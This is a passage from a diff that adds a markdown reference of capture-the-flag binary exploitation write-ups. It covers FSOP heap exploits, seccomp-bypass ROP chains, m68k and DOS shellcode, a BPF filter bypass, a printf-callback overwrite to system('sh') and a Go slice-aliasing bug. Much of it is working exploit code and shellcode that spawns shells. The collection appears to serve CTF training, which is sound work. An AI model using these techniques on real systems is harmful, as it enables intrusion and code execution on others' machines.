455
+ flag += best_char
456
+ print(f"Flag so far: {flag} (time: {best_time:.3f}s)")
457
+ else:
458
+ print("Timing unclear, retrying...")
459
+
460
+ print(f"Flag: {flag}")
461
+ ```
462
+
463
+ **Key insight:** Each correct character adds a measurable delay (typically 100-250ms). Average multiple samples to overcome network jitter. The total response time scales linearly with the number of correct prefix characters, making the correct character at each position distinguishable.
464
+
465
+ ---
466
+
467
+ ## FSOP + Seccomp Bypass via openat/mmap/write (EHAX 2026)
468
+
469
+ **Pattern (The Revenge of Womp Womp):** Heap exploit (UAF) leading to FSOP chain, but seccomp blocks standard `open`/`read`/`write` or `execve`. Use alternative syscalls to read the flag.
470
+
471
+ **Exploit chain:**
472
+ 1. **Leak libc** via `show()` on freed unsorted bin chunk (fd/bk pointers)
473
+ 2. **UAF → unsafe unlink** to redirect pointer to `.bss` region
474
+ 3. **Craft fake FILE** structure on heap with vtable pointing to `_IO_wfile_jumps`
475
+ 4. **FSOP chain:** `_IO_wfile_overflow` → `_IO_wdoallocbuf` → `_IO_WDOALLOCATE(fp)`
476
+ 5. **Stack pivot** via `mov rsp, rdx` gadget (rdx controllable from FILE struct)
477
+ 6. **ROP chain** using seccomp-compatible syscalls
478
+
479
+ **Seccomp bypass with openat/mmap/write:**
480
+ ```python
481
+ # When seccomp blocks open() and read(), use:
482
+ # openat(AT_FDCWD, "/flag", O_RDONLY) - syscall 257
483
+ # mmap(NULL, 4096, PROT_READ, MAP_PRIVATE, fd, 0) - syscall 9
484
+ # write(STDOUT, mapped_addr, 4096) - syscall 1
485
+
486
+ from pwn import *
487
+
488
+ rop = ROP(libc)
489
+ # openat(AT_FDCWD=-100, "/flag", O_RDONLY=0)
490
+ rop.raw(pop_rdi)
491
+ rop.raw(-100 & 0xffffffffffffffff) # AT_FDCWD
492
+ rop.raw(pop_rsi)
493
+ rop.raw(flag_str_addr) # pointer to "/flag\x00"
494
+ rop.raw(pop_rdx_rbx)
495
+ rop.raw(0) # O_RDONLY
496
+ rop.raw(0)
497
+ rop.raw(libc.sym.openat)
498
+
499
+ # mmap(NULL, 4096, PROT_READ=1, MAP_PRIVATE=2, fd=3, 0)
500
+ rop.raw(pop_rdi)
501
+ rop.raw(0) # addr = NULL
502
+ rop.raw(pop_rsi)
503
+ rop.raw(0x1000) # length
504
+ rop.raw(pop_rdx_rbx)
505
+ rop.raw(1) # PROT_READ
506
+ rop.raw(0)
507
+ # r10 = MAP_PRIVATE (2), r8 = fd (3) - need gadgets for these
508
+ rop.raw(libc.sym.mmap)
509
+
510
+ # write(1, mapped_addr, 4096)
511
+ rop.raw(pop_rdi)
512
+ rop.raw(1) # stdout
513
+ rop.raw(pop_rsi)
514
+ rop.raw(mapped_addr) # mmap return value
515
+ rop.raw(pop_rdx_rbx)
516
+ rop.raw(0x1000)
517
+ rop.raw(0)
518
+ rop.raw(libc.sym.write)
519
+ ```
520
+
521
+ **`mov rsp, rdx` stack pivot gadget:**
522
+ ```python
523
+ # Common in libc — search with:
524
+ # ROPgadget --binary libc.so.6 | grep "mov rsp, rdx"
525
+ # or: one_gadget libc.so.6 (sometimes lists pivot gadgets)
526
+
527
+ # In FSOP context: rdx is controllable via _IO_wide_data fields
528
+ # Set _wide_data->_IO_buf_base to point to your ROP chain
529
+ # When _IO_WDOALLOCATE is called, rdx = _wide_data->_IO_buf_base
530
+ # Pivot: mov rsp, rdx → ROP chain runs
531
+ ```
532
+
533
+ **Key insight:** "Stale size tracking" = the menu tracks object sizes but doesn't invalidate after free. This enables UAF because `show()`/`edit()` still use the old size to access freed memory. Always check if delete nullifies the size field in addition to the pointer.
534
+
535
+ **Seccomp alternative syscall quick reference:**
536
+ | Blocked | Alternative | Syscall # |
537
+ |---------|------------|-----------|
538
+ | `open` | `openat` | 257 |
539
+ | `open` | `openat2` | 437 |
540
+ | `read` | `mmap` + access | 9 |
541
+ | `read` | `pread64` | 17 |
542
+ | `read` | `readv` | 19 |
543
+ | `write` | `writev` | 20 |
544
+ | `write` | `sendfile` | 40 |
545
+
546
+ ---
547
+
548
+ ## Motorola 68000 (m68k) Two-Stage Shellcode (HackIT 2017)
549
+
550
+ **Pattern:** m68k Linux binary accepts only 14 bytes of shellcode. Two-stage approach: the first stage jumps back to the binary's own `read()` call with a larger buffer size and the existing mmap'd RWX pointer. The full second-stage shellcode performs socket reuse via `dup2` and `execve('/bin/sh')`. m68k syscall convention: number in `d0`, arguments in `d1`–`d3`, `trap #0`.
551
+
552
+ m68k Linux syscall numbers: `read=3`, `write=4`, `dup2=63`, `execve=11`.
553
+
554
+ ```asm
555
+ ; Stage 1 (14 bytes): patch d3=256 and jump to binary's read() call site
556
+ ; Reuses binary's existing socket fd (d1) and mmap'd RWX region (d2)
557
+ move.l #256, %d3 ; count = 256 (4 bytes: 0x263C 0x0000 0x0100)
558
+ jmp read_call_site ; jump to binary's trap #0 (6 bytes: 0x4EF9 + 4-byte addr)
559
+ ```
560
+
561
+ ```asm
562
+ ; Stage 2 (full shellcode read into RWX region by stage 1):
563
+ ; dup2(sock_fd, 0/1/2) — sock_fd is already in d1 from stage 1
564
+ moveq #63, %d0 ; dup2
565
+ moveq #0, %d2 ; newfd = stdin
566
+ trap #0
567
+ moveq #63, %d0
568
+ moveq #1, %d2 ; newfd = stdout
569
+ trap #0
570
+ moveq #63, %d0
571
+ moveq #2, %d2 ; newfd = stderr
572
+ trap #0
573
+
574
+ ; execve("/bin/sh", ["/bin/sh", NULL], NULL)
575
+ lea binsh(%pc), %a0 ; "/bin/sh\0"
576
+ move.l %a0, %d1
577
+ sub.l %d2, %d2 ; d2 = NULL (argv approximation for CTF)
578
+ sub.l %d3, %d3 ; d3 = NULL (envp)
579
+ moveq #11, %d0 ; execve
580
+ trap #0
581
+ binsh: .ascii "/bin/sh\0"
582
+ ```
583
+
584
+ **Key insight:** When shellcode size is severely constrained, re-use the program's own `read()` function with the already-mmap'd RWX region as the destination buffer. m68k uses `trap #0` with d0–d3 registers, not the x86 `int 0x80`/`syscall` convention.
585
+
586
+ **References:** HackIT CTF 2017
587
+
588
+ ---
589
+
590
+ ## DOS COM Real Mode Shellcode (SEC-T CTF 2017)
591
+
592
+ **Pattern:** DOS COM executables run in 16-bit real mode with no memory protection — the code segment is writable at runtime. An arbitrary write primitive into the code segment at an EXIT handler location allows injecting payload code. Payloads use DOS `int 0x21` syscalls: `ah=0x3d` (open file), `ah=0x3f` (read file), `ah=0x09` (print string).
593
+
594
+ ```asm
595
+ ; DOS COM exploitation: code segment is writable
596
+ ; INT 0x21 syscall convention: ah = function number
597
+ ; Useful functions:
598
+ ; ah=0x3d open file: ds:dx = filename, al = mode → ax = fd
599
+ ; ah=0x3f read file: bx = fd, cx = count, ds:dx = buffer → ax = bytes read
600
+ ; ah=0x09 print $-terminated string: ds:dx = string address
601
+ ; ah=0x4c exit: al = exit code
602
+
603
+ ; Example: read flag.txt and print it
604
+ mov dx, offset flag_name ; "flag.txt$"
605
+ mov ax, 0x3d00 ; open, read-only
606
+ int 0x21 ; ax = file handle
607
+
608
+ mov bx, ax ; fd = file handle
609
+ mov dx, offset buffer
610
+ mov cx, 0x100 ; read 256 bytes
611
+ mov ah, 0x3f
612
+ int 0x21 ; read into buffer
613
+
614
+ ; Terminate buffer with '$' for int 0x21 ah=0x09
615
+ mov dx, offset buffer
616
+ mov ah, 0x09
617
+ int 0x21 ; print buffer
618
+ ```
619
+
620
+ **Key insight:** DOS COM files have no read-only memory — the code segment is writable. DOS interrupts `int 0x21` with `ah=3d/3f/09` handle open/read/print. Any write primitive that reaches the code segment can inject executable shellcode, even at EXIT handler positions.
621
+
622
+ **References:** SEC-T CTF 2017
623
+
624
+ ---
625
+
626
+ ## Seccomp BPF X-Register Addressing Mode Bypass (HITCON 2017)
627
+
628
+ **Pattern:** A seccomp BPF filter uses the X-register addressing mode (opcode `0x1d`) to compare `syscall_number == rdx` (the third argument). However, `libseccomp-tools` (and older `seccomp-tools`) disassemblers do not support the X-register addressing mode, causing the filter to appear more restrictive than it actually is. Reality: if `rax` (syscall number) equals `rdx` (3rd argument) at the time of the syscall, the comparison passes and the syscall is allowed.
629
+
630
+ **How to detect:**
631
+ ```bash
632
+ # Dump BPF bytecode manually and look for opcode 0x1d (JEQ X)
633
+ # seccomp-tools disassembly will show "???" or skip lines for 0x1d opcodes
634
+ # Raw bytecode: struct sock_filter { __u16 code; __u8 jt; __u8 jf; __u32 k; }
635
+ # code=0x1d: BPF_JMP | BPF_JEQ | BPF_X → compare A == X (X-register)
636
+ python3 -c "
637
+ import struct
638
+ data = open('seccomp_filter.bin','rb').read()
639
+ for i in range(0, len(data), 8):
640
+ code, jt, jf, k = struct.unpack('<HBBI', data[i:i+8])
641
+ if code == 0x1d:
642
+ print(f'[{i//8}] JEQ X jt={jt} jf={jf} (X-reg compare!)')
643
+ "
644
+ ```
645
+
646
+ **Exploitation:**
647
+ ```python
648
+ # Filter effectively allows: syscall if rax == rdx
649
+ # Arrange rdx to equal the desired syscall number before the syscall instruction
650
+ # Example: execve = 59, so set rdx = 59 and rax = 59
651
+ # Both conditions match → filter permits the call
652
+ rop = flat(
653
+ pop_rdx_rbx, 59, 0, # rdx = 59 (execve)
654
+ pop_rax, 59, # rax = 59
655
+ pop_rdi, binsh_addr,
656
+ pop_rsi, 0,
657
+ syscall_ret,
658
+ )
659
+ ```
660
+
661
+ **Key insight:** Security tools that cannot decode all BPF addressing modes give false confidence — always verify filter behavior by reading raw BPF bytecode or testing empirically. The X-register mode (`JEQ X`, opcode `0x1d`) is valid BPF but rarely generated by `libseccomp`, so tools miss it.
662
+
663
+ **References:** HITCON CTF 2017
664
+
665
+ ---
666
+
667
+ ## Custom Printf Format Specifier Arginfo Overwrite (Hack.lu 2017)
668
+
669
+ **Pattern:** glibc's `register_printf_specifier()` stores function pointers (including an `arginfo` callback) in a heap buffer. A heap overflow overwrites the `arginfo` callback for a custom format specifier. The first field of `printf_info` passed to the `arginfo` function is `precision` — an attacker-controlled integer from `%.Ns` (where N is the precision value). Encoding a shell command as its decimal ASCII value (e.g., `26739` = `'s','h','\0'` as little-endian bytes) causes the `arginfo` callback to receive `"sh"` as its string argument, achieving command execution.
670
+
671
+ **Mechanism:**
672
+ ```c
673
+ // register_printf_specifier stores:
674
+ // handler_fn (called to produce output)
675
+ // arginfo_fn (called to determine argument type/size)
676
+ // Both are stored as pointers in a heap region
677
+
678
+ // When printf("%.26739s", ...) is called with custom specifier:
679
+ // printf_info.precision = 26739 (= 0x6873 = 'sh' in little-endian)
680
+ // arginfo_fn is called with &printf_info as first argument
681
+ // If arginfo_fn = system: system((char*)&printf_info) → system("sh\x00...")
682
+ // because the precision field at offset 0 contains the bytes 's','h','\0'
683
+ ```
684
+
685
+ **Exploitation:**
686
+ ```python
687
+ # Overflow heap to overwrite arginfo_fn pointer with system()
688
+ # Then trigger with precision encoding the command:
689
+ # "sh" = ord('s') + ord('h') * 256 = 0x68 * 256 + 0x73 = 26739
690
+ payload = b'%.26739s' # precision=26739, bytes: 0x73 0x68 0x00 = "sh\0"
691
+ # When custom specifier is used, arginfo(printf_info_ptr) → system("sh")
692
+ ```
693
+
694
+ **Key insight:** Custom printf format handlers expose `precision` and `width` as attacker-controlled integers in `printf_info`. Encoding a shell command as the decimal precision value (e.g., `26739` = `"sh\0"`) causes the `arginfo` callback — if overwritten with `system()` — to execute the command. The `printf_info` struct's first field is the argument to `system()`.
695
+
696
+ **References:** Hack.lu CTF 2017
697
+
698
+ ---
699
+
700
+ ## Game Genie-Style 6-Char Code for Arbitrary Binary Patching (BSidesSF 2019)
701
+
702
+ **Pattern (Genius):** A loader embeds a target binary on the stack, prompts the user for two 6-character "Game Genie" codes, and patches two bytes per code. Each character comes from a 16-letter alphabet; bits are scattered across the six characters to encode a 16-bit offset and an 8-bit value. To exploit, reverse the bit layout to generate arbitrary `(offset, byte)` codes — here, flip `call memset` into `call system` and shift its first argument to land on an in-game `sh;` string, then play Tetris to materialise those bytes.
703
+
704
+ ```python
705
+ # 16-letter alphabet maps each 4-bit nibble to a specific character
706
+ magic_dict = {
707
+ 0b0000: 'A', 0b1000: 'E', 0b0100: 'G', 0b0101: 'I',
708
+ 0b1100: 'K', 0b0011: 'L', 0b1111: 'N', 0b1001: 'O',
709
+ 0b0001: 'P', 0b1101: 'S', 0b0110: 'T', 0b1011: 'U',
710
+ 0b1110: 'V', 0b1010: 'X', 0b0111: 'Y', 0b0010: 'Z',
711
+ }
712
+
713
+ def gen_input(addr, val):
714
+ # Bits distributed across positions b1..b6; derived by reversing convert() in loader
715
+ b1 = (val & 0b111) | ((val & 0b10000000) >> 4)
716
+ b2 = ((val & 0b1110000) >> 4) | ((addr & 0b10000000) >> 4)
717
+ b3 = ((addr & 0b1110000) >> 4)
718
+ b4 = ((addr & 0b111000000000000) >> 12) | (addr & 0b1000)
719
+ b5 = ((addr & 0b100000000000) >> 8) | (addr & 0b111)
720
+ b6 = ((addr & 0b11100000000) >> 8) | (val & 0b1000)
721
+ return ''.join(magic_dict[b] for b in (b1, b2, b3, b4, b5, b6))
722
+
723
+ # Example: patch memset->system (0xcb -> 0x8b) and shift push-arg to reach in-game buf
724
+ code1 = gen_input(0x154c, 0xab) # shift 1st-arg push so call lands on "sh;"
725
+ code2 = gen_input(0x1551, 0x8b) # E8 XX XX XX XX of memset -> system (same IAT reloc)
726
+ ```
727
+
728
+ **Key insight:** "Fun" encoding schemes (Game Genie, ROM hack tools, license-key formats) are just bit-permutation ciphers with a tiny alphabet. Derive the permutation once by reversing the checker (what bits of each character control what bits of the output), then treat the scheme as a regular arbitrary-write primitive. Pair with any gadget that picks a target (a `call` site, a GOT entry, a config byte) plus a way to materialise operand data on the stack (game state, input buffer) to land code execution.
729
+
730
+ **References:** BSidesSF 2019 — genius, writeup 13709
731
+
732
+ ---
733
+
734
+ ## Go Slice Capacity Aliasing via Struct-by-Value Copy (CONFidence Teaser 2019)
735
+
736
+ **Pattern (The Lottery):** Go REST service copies an `Account` struct (with a `[]int` field) by value into a lottery subsystem, then `append`s a random winning number to the *copied* slice. Slice headers are `(ptr, len, cap)`; copying a struct copies these 24 bytes but the backing array is shared. If `cap > len`, `append` writes in-place without reallocation — the write lands in the original account's backing array too. Control capacity by filling exactly `MaxLen - 1` elements so Go picks `cap=4`, call `LotteryAdd` (which copies), then `append` one more post-copy to bump `len` to 4. The lottery's `append` now writes slot 3 of the *shared* array, making the caller a millionaire.
737
+
738
+ ```go
739
+ // Go slice header:
740
+ // type slice struct { ptr unsafe.Pointer; len int; cap int }
741
+ // Append grows the backing array only if len == cap.
742
+
743
+ func HackLottery() {
744
+ s := NewService(ctx, time.Millisecond, time.Minute)
745
+ a, _ := s.AccountAdd()
746
+
747
+ // len=1, cap=1 -> len=2, cap=2 -> len=3, cap=4 (Go's growth heuristic)
748
+ s.AccountAddAmount(a.Name, 90)
749
+ s.AccountAddAmount(a.Name, 90)
750
+ s.AccountAddAmount(a.Name, 90) // Amounts = [90,90,90], cap=4
751
+
752
+ s.LotteryAdd(a.Name) // Struct copy; slice header cloned
753
+ s.AccountAddAmount(a.Name, 90) // extend original: len=4, cap=4 (no realloc)
754
+
755
+ // Lottery's append sees cap=4 on its copy too -> in-place write to shared array:
756
+ s.lottery.evaluate() // Amounts[3] = randInt(999913, 3700000)
757
+
758
+ a, _, _ = s.AccountGet(a.Name)
759
+ fmt.Println(a.Amounts) // [90 90 90 1723342] -> millionaire
760
+ }
761
+ ```
762
+
763
+ **Key insight:** Passing a Go struct by value does *not* deep-copy its slice fields; the header is copied but the backing array is shared. Whenever `append` is invoked on either copy, it reallocates only when `len == cap`. Engineer the pre-copy state so `cap > len`, and the callee's `append` silently mutates caller-visible memory — a data race-free way to break "immutability by copy" in audit. The same trick applies to maps (always shared by reference) and to interface-wrapped slices.
764
+
765
+ **References:** CONFidence CTF 2019 Teaser — The Lottery, writeup 13961
766
+
767
+ ---
768
+
769
+ See [advanced-exploits-2.md](advanced-exploits-2.md) for bytecode validator bypass, io_uring UAF with SQE injection, integer truncation bypass, GC null-reference cascading corruption, leakless libc via multi-fgets, signed/unsigned char underflow with TLS destructor hijack, custom shadow stack bypass, and signed int overflow with XSS-to-binary pwn bridge.
770
+
771
+ See [advanced-exploits-3.md](advanced-exploits-3.md) for stack variable overlap, 1-byte overflow via 8-bit loop counter, game AI arithmetic mean OOB read, arbitrary read/write GOT overwrite, stack leak via __environ + memcpy overflow, JIT sandbox uint16 jump truncation, DNS compression pointer overflow, and ELF signing bypass via program header manipulation.
772
+
773
+ See [advanced-exploits-5.md](advanced-exploits-5.md) for data-interpretation exploitation (Chip-8 emulator OOB ret2libc, double-precision float quicksort canary repositioning, bloom filter abs(INT_MIN) negative index OOB).